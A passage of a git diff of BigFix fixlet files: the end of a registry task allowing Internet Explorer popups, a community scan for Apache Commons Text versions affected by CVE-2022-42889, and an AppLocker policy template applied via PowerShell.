+    <Title>Allow popups in Interent Explorer for a specific domain - www.domain.tld</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[not exists key "Software" whose(exists key "Microsoft\Internet Explorer\New Windows\Allow" of it AND exists value "www.domain.tld" of key "Microsoft\Internet Explorer\New Windows\Allow" of it) of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)]]></Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2012-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Dec 2012 16:43:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\New Windows\Allow")}]" "www.domain.tld"=hex:00,00]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes b/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes
index cec702232..ba2b04e00 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes	
@@ -1,95 +1,95 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Apache Commons Text detection scan (Windows)
-  ID       : 26955
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-10-21T12:02:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Apache Commons Text detection scan (Windows)</Title>
-    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
-<P></P>
-<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
-<P>This Task performs a filesystem scan on Windows systems to attempt detecting Apache Commons Text versions vulnerable to CVE-2022-42889.</P>
-<UL>
-<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om">https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</A>
-<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889">https://nvd.nist.gov/vuln/detail/CVE-2022-42889</A></LI></UL>
-<P>&nbsp;</P>
-<P>This Task performs a filesystem search across all fixed disks on Windows platforms, to locate Apache Commons Text JAR files, either directly on the filesystem or embedded in a .WAR archive file.&nbsp; In the case any .WAR file is found on the system, the 'unzip.exe' utility is used to perform a listing of files inside the archive to locate Apache Commons Text-related .JAR files.&nbsp; Specifically, this Task searches for any versions of commons-text-1.10.0.jar.</P>
-<P>Scan results are stored in a "Scans" subdirectory beneath the "BES Client" folder. 'apache-commons-text.log' contains the full script output for potential debugging or diagnosis, and 'apache-commons-text.txt' contains a listing of detected files in one of the forms</P>
-<UL style="MARGIN-RIGHT: 0px" dir=ltr>
-<LI>C:\temp\commons-text\1.10.0\commons-text-1.10.0-tests.jar
-<LI>C:\temp\commons-text.war||commons-text/1.4/commons-text-1.4.jar</LI></UL>
-<P dir=ltr>The first sample entry indicates a detected jar file directly in the filesystem, while the second entry indicates a detected .jar file embedded within a .WAR archive.</P>
-<P>This Task has several known limitations:</P>
-<UL>
-<LI>Archives are not extracted recursively - only .JAR files contained directly within a .WAR archive are found; archives embedded within multiple layers of .WAR archives are not detected.
-<LI>There is no option to throttle the scan in terms of processor or disk i/o usage.&nbsp; Scans should be executed during non-critical hours, and staggered over time especially where multiple systems share a storage resource, such as a SAN or virtual machine storage pool.</LI></UL>
-<P>This detection method uses Windows batch scripts with no external utility aside from 'unzip.exe'.&nbsp; Results of the scan may be retrieved using the related Analysis.</P>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2022-03-31</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Oct 2022 16:37:21 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
-add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-end prefetch block
-// Add Unzip to Utility Cache:
-utility __Download\unzip.exe
-
-parameter "unzip"="{pathname of file "__Download\unzip.exe"}"
-parameter "ScansFolder" = "{(if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite"))}\Scans"
-folder create "{parameter "ScansFolder"}"
-
-parameter "output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.txt"
-parameter "exec_output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.log"
-delete "{parameter "output"}"
-delete "{parameter "exec_output"}"
-
-delete __createfile
-createfile until EOF_EOF_EOF_EOF
-set UNZIP="{parameter "unzip"}"
-setlocal EnableDelayedExpansion
-GOTO MAIN
-:PROCESSFILE
-echo Processfile %*
-REM If the file itself matches, output it and exit this function
-if %~x1==.jar echo %~dpnx1 >> "{parameter "output"}"& exit /B 0
-REM the file is a war/jar, expand it to search for embedded files
-REM Use DelayedExpansion and !FILENAME! to prevent 'for' loop crashing on symbols like 'Program Files (x86)'
-set FILENAME=%~dpnx1
-for /F "tokens=*" %%i in ('"%UNZIP% -Z -1C "!FILENAME!" *commons-text-*.jar ^|findstr /R /V /C:"\-javadoc\.jar$" /C:"\-sources\.jar$" /C:"\-tests\.jar$""') do @echo !FILENAME!^|^|%%i >> "{parameter "output"}"
-exit /B 0
-
-:MAIN
-echo ::START::%DATE%::%TIME%>> "{parameter "output"}"
-
-{concatenation "%0d%0a" of ("for /F %22tokens=*%22 %25%25i in ('dir /s /b " & it & "\ ^| findstr /R /C:%22.*\.war$%22 /C:%22.*\.ear$%22 /C:%22commons\-text\-.*\.jar$%22 ^|findstr /R /V /C:%22\-javadoc\.jar$%22 /C:%22\-sources\.jar$%22 /C:%22\-tests\.jar$%22') do CALL :PROCESSFILE %22%25%25~dpnxi%22") of pathnames of root folders of drives whose (type of it = "DRIVE_FIXED")}
-
-endlocal
-echo ::FINISH::%DATE%::%TIME%>> "{parameter "output"}"
-
-EOF_EOF_EOF_EOF
-
-delete run_scan.cmd
-copy __createfile run_scan.cmd
-action uses wow64 redirection {not x64 of operating system}
-waithidden cmd.exe /c "run_scan.cmd > "{parameter "output"}" >"{parameter "exec_output"}" 2>&1"
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Apache Commons Text detection scan (Windows)
+  ID       : 26955
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:02:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Apache Commons Text detection scan (Windows)</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This Task performs a filesystem scan on Windows systems to attempt detecting Apache Commons Text versions vulnerable to CVE-2022-42889.</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om">https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889">https://nvd.nist.gov/vuln/detail/CVE-2022-42889</A></LI></UL>
+<P>&nbsp;</P>
+<P>This Task performs a filesystem search across all fixed disks on Windows platforms, to locate Apache Commons Text JAR files, either directly on the filesystem or embedded in a .WAR archive file.&nbsp; In the case any .WAR file is found on the system, the 'unzip.exe' utility is used to perform a listing of files inside the archive to locate Apache Commons Text-related .JAR files.&nbsp; Specifically, this Task searches for any versions of commons-text-1.10.0.jar.</P>
+<P>Scan results are stored in a "Scans" subdirectory beneath the "BES Client" folder. 'apache-commons-text.log' contains the full script output for potential debugging or diagnosis, and 'apache-commons-text.txt' contains a listing of detected files in one of the forms</P>
+<UL style="MARGIN-RIGHT: 0px" dir=ltr>
+<LI>C:\temp\commons-text\1.10.0\commons-text-1.10.0-tests.jar
+<LI>C:\temp\commons-text.war||commons-text/1.4/commons-text-1.4.jar</LI></UL>
+<P dir=ltr>The first sample entry indicates a detected jar file directly in the filesystem, while the second entry indicates a detected .jar file embedded within a .WAR archive.</P>
+<P>This Task has several known limitations:</P>
+<UL>
+<LI>Archives are not extracted recursively - only .JAR files contained directly within a .WAR archive are found; archives embedded within multiple layers of .WAR archives are not detected.
+<LI>There is no option to throttle the scan in terms of processor or disk i/o usage.&nbsp; Scans should be executed during non-critical hours, and staggered over time especially where multiple systems share a storage resource, such as a SAN or virtual machine storage pool.</LI></UL>
+<P>This detection method uses Windows batch scripts with no external utility aside from 'unzip.exe'.&nbsp; Results of the scan may be retrieved using the related Analysis.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-03-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:37:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
+add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+end prefetch block
+// Add Unzip to Utility Cache:
+utility __Download\unzip.exe
+
+parameter "unzip"="{pathname of file "__Download\unzip.exe"}"
+parameter "ScansFolder" = "{(if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite"))}\Scans"
+folder create "{parameter "ScansFolder"}"
+
+parameter "output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.txt"
+parameter "exec_output"="{pathname of folder (parameter "ScansFolder")}\apache-commons-text.log"
+delete "{parameter "output"}"
+delete "{parameter "exec_output"}"
+
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+set UNZIP="{parameter "unzip"}"
+setlocal EnableDelayedExpansion
+GOTO MAIN
+:PROCESSFILE
+echo Processfile %*
+REM If the file itself matches, output it and exit this function
+if %~x1==.jar echo %~dpnx1 >> "{parameter "output"}"& exit /B 0
+REM the file is a war/jar, expand it to search for embedded files
+REM Use DelayedExpansion and !FILENAME! to prevent 'for' loop crashing on symbols like 'Program Files (x86)'
+set FILENAME=%~dpnx1
+for /F "tokens=*" %%i in ('"%UNZIP% -Z -1C "!FILENAME!" *commons-text-*.jar ^|findstr /R /V /C:"\-javadoc\.jar$" /C:"\-sources\.jar$" /C:"\-tests\.jar$""') do @echo !FILENAME!^|^|%%i >> "{parameter "output"}"
+exit /B 0
+
+:MAIN
+echo ::START::%DATE%::%TIME%>> "{parameter "output"}"
+
+{concatenation "%0d%0a" of ("for /F %22tokens=*%22 %25%25i in ('dir /s /b " & it & "\ ^| findstr /R /C:%22.*\.war$%22 /C:%22.*\.ear$%22 /C:%22commons\-text\-.*\.jar$%22 ^|findstr /R /V /C:%22\-javadoc\.jar$%22 /C:%22\-sources\.jar$%22 /C:%22\-tests\.jar$%22') do CALL :PROCESSFILE %22%25%25~dpnxi%22") of pathnames of root folders of drives whose (type of it = "DRIVE_FIXED")}
+
+endlocal
+echo ::FINISH::%DATE%::%TIME%>> "{parameter "output"}"
+
+EOF_EOF_EOF_EOF
+
+delete run_scan.cmd
+copy __createfile run_scan.cmd
+action uses wow64 redirection {not x64 of operating system}
+waithidden cmd.exe /c "run_scan.cmd > "{parameter "output"}" >"{parameter "exec_output"}" 2>&1"
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes b/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes
index 78dfa2165..cf0830e5b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes	
@@ -1,106 +1,106 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Applocker Configuration Template
-  ID       : 25578
-  Author   : N0m4d1c
-  Domain   : BESC
-  Imported : 2018-11-09T15:10:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Applocker Configuration Template</Title>
-    <Description><![CDATA[<P>This is a template for implementing AppLocker&nbsp;using Bigfix.</P>
-<P>The script was written for imaging, therefore the relevance is <STRONG>True</STRONG>. We are only working with Appx files in Windows 10, however, the rule collection types should be very similar. In this example, I only want the Administrator account to have access to Settings and block access for all other users. Since Applocker rules go based on User or Group SID, I am using powershell to pull the SID of the Administrator user that is then applied to the windows.immersivecontrolpanel.appx rule. All of the other rulles apply to everyone.</P>
-<P><STRONG>The XML part of the script gets messed up &nbsp;when being displayed on&nbsp;Bigfix.me, therefore I have provided it below. If you download the .bes file it will be correct.</STRONG></P>
-<P>&lt;AppLockerPolicy Version="1"&gt;<BR>&nbsp; &lt;RuleCollection Type="Exe" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Msi" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Script" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Dll" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Appx" EnforcementMode="Enabled"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp; &lt;/RuleCollection&gt;<BR>&lt;/AppLockerPolicy&gt;</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>true</Relevance>
-    <Category>Bigfix.me</Category>
-    <Source>Internal</Source>
-    <SourceID>n0m4d1c</SourceID>
-    <SourceReleaseDate>2018-10-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Nov 2018 23:08:42 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Creates a directory for our created files to go
-if {exists file "C:\Apps\Locker\Applocker.ps1"}
-	delete "C:\Apps\Locker\Applocker.ps1"
-endif
-if {exists file "C:\Apps\Locker\Applocker.xml"}
-	delete "C:\Apps\Locker\Applocker.xml"
-endif
-
-//Creates a ps1 file that gets the Administrator SID and uses that to create an XML configuration file.
-delete __createfile
-
-createfile until _end_
-
-$User = Get-WmiObject win32_UserAccount -Filter 'Name = "Administrator"'
-
-$xml = @'
-<AppLockerPolicy Version="1">
-  <RuleCollection Type="Exe" EnforcementMode="NotConfigured" />
-  <RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
-  <RuleCollection Type="Script" EnforcementMode="NotConfigured" />
-  <RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
-  <RuleCollection Type="Appx" EnforcementMode="Enabled">
-    <FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow">
-      <Conditions>
-        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*">
-          <BinaryVersionRange LowSection="*" HighSection="*" />
-        </FilePublisherCondition>
-      </Conditions>
-    </FilePublisherRule>
-    <FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
-      <Conditions>
-        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*">
-          <BinaryVersionRange LowSection="*" HighSection="*" />
-        </FilePublisherCondition>
-      </Conditions>
-    </FilePublisherRule>
-  </RuleCollection>
-</AppLockerPolicy>
-'@ -f $User.SID
-
-$xml | out-file C:\Apps\Locker\Applocker.xml -Encoding utf8
-
-_end_
-
-copy __createfile C:\Apps\Locker\Applocker.ps1
-
-action uses wow64 redirection {not x64 of operating system}
-
-//Runs the ps1 files that creates our configuration file.
-waithidden powershell -ExecutionPolicy Bypass -command "C:\Apps\Locker\Applocker.ps1"
-
-//Runs the command to implement the configuration file.
-waithidden powershell -ExecutionPolicy Bypass -command "Set-AppLockerPolicy –XMLPolicy C:\Apps\Locker\Applocker.xml"
-
-//Sets the Applocker service to start automatically
-waithidden sc.exe config appidsvc start=auto
-
-// Pauses BigFix for 15 sec
-parameter "start" = "{now}"
-pause while {now < ( ((  parameter "start" of action  ) as time ) + 15* second)}
-
-//Clean up
-if {exists file "C:\Apps\Scripts\n0m4d1c.ps1"}
-	delete "C:\Apps\Locker\Applocker.ps1"
-endif
-if {exists file "C:\Apps\Scripts\POS_Applocker_Test.xml"}
-	delete "C:\Apps\Locker\Applocker.xml"
-endif]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Applocker Configuration Template
+  ID       : 25578
+  Author   : N0m4d1c
+  Domain   : BESC
+  Imported : 2018-11-09T15:10:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Applocker Configuration Template</Title>
+    <Description><![CDATA[<P>This is a template for implementing AppLocker&nbsp;using Bigfix.</P>
+<P>The script was written for imaging, therefore the relevance is <STRONG>True</STRONG>. We are only working with Appx files in Windows 10, however, the rule collection types should be very similar. In this example, I only want the Administrator account to have access to Settings and block access for all other users. Since Applocker rules go based on User or Group SID, I am using powershell to pull the SID of the Administrator user that is then applied to the windows.immersivecontrolpanel.appx rule. All of the other rulles apply to everyone.</P>
+<P><STRONG>The XML part of the script gets messed up &nbsp;when being displayed on&nbsp;Bigfix.me, therefore I have provided it below. If you download the .bes file it will be correct.</STRONG></P>
+<P>&lt;AppLockerPolicy Version="1"&gt;<BR>&nbsp; &lt;RuleCollection Type="Exe" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Msi" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Script" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Dll" EnforcementMode="NotConfigured" /&gt;<BR>&nbsp; &lt;RuleCollection Type="Appx" EnforcementMode="Enabled"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conditions&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;BinaryVersionRange LowSection="*" HighSection="*" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FilePublisherCondition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Conditions&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/FilePublisherRule&gt;<BR>&nbsp; &lt;/RuleCollection&gt;<BR>&lt;/AppLockerPolicy&gt;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Bigfix.me</Category>
+    <Source>Internal</Source>
+    <SourceID>n0m4d1c</SourceID>
+    <SourceReleaseDate>2018-10-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Nov 2018 23:08:42 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Creates a directory for our created files to go
+if {exists file "C:\Apps\Locker\Applocker.ps1"}
+	delete "C:\Apps\Locker\Applocker.ps1"
+endif
+if {exists file "C:\Apps\Locker\Applocker.xml"}
+	delete "C:\Apps\Locker\Applocker.xml"
+endif
+
+//Creates a ps1 file that gets the Administrator SID and uses that to create an XML configuration file.
+delete __createfile
+
+createfile until _end_
+
+$User = Get-WmiObject win32_UserAccount -Filter 'Name = "Administrator"'
+
+$xml = @'
+<AppLockerPolicy Version="1">
+  <RuleCollection Type="Exe" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Script" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Appx" EnforcementMode="Enabled">
+    <FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow">
+      <Conditions>
+        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*">
+          <BinaryVersionRange LowSection="*" HighSection="*" />
+        </FilePublisherCondition>
+      </Conditions>
+    </FilePublisherRule>
+    <FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
+      <Conditions>
+        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*">
+          <BinaryVersionRange LowSection="*" HighSection="*" />
+        </FilePublisherCondition>
+      </Conditions>
+    </FilePublisherRule>
+  </RuleCollection>
+</AppLockerPolicy>
+'@ -f $User.SID
+
+$xml | out-file C:\Apps\Locker\Applocker.xml -Encoding utf8
+
+_end_
+
+copy __createfile C:\Apps\Locker\Applocker.ps1
+
+action uses wow64 redirection {not x64 of operating system}
+
+//Runs the ps1 files that creates our configuration file.
+waithidden powershell -ExecutionPolicy Bypass -command "C:\Apps\Locker\Applocker.ps1"
+
+//Runs the command to implement the configuration file.
+waithidden powershell -ExecutionPolicy Bypass -command "Set-AppLockerPolicy –XMLPolicy C:\Apps\Locker\Applocker.xml"
+
+//Sets the Applocker service to start automatically
+waithidden sc.exe config appidsvc start=auto
+
+// Pauses BigFix for 15 sec
+parameter "start" = "{now}"
+pause while {now < ( ((  parameter "start" of action  ) as time ) + 15* second)}
+
+//Clean up
+if {exists file "C:\Apps\Scripts\n0m4d1c.ps1"}
+	delete "C:\Apps\Locker\Applocker.ps1"
+endif
+if {exists file "C:\Apps\Scripts\POS_Applocker_Test.xml"}
+	delete "C:\Apps\Locker\Applocker.xml"
+endif]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes b/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes
index bdb0974a9..e6207afaf 100644
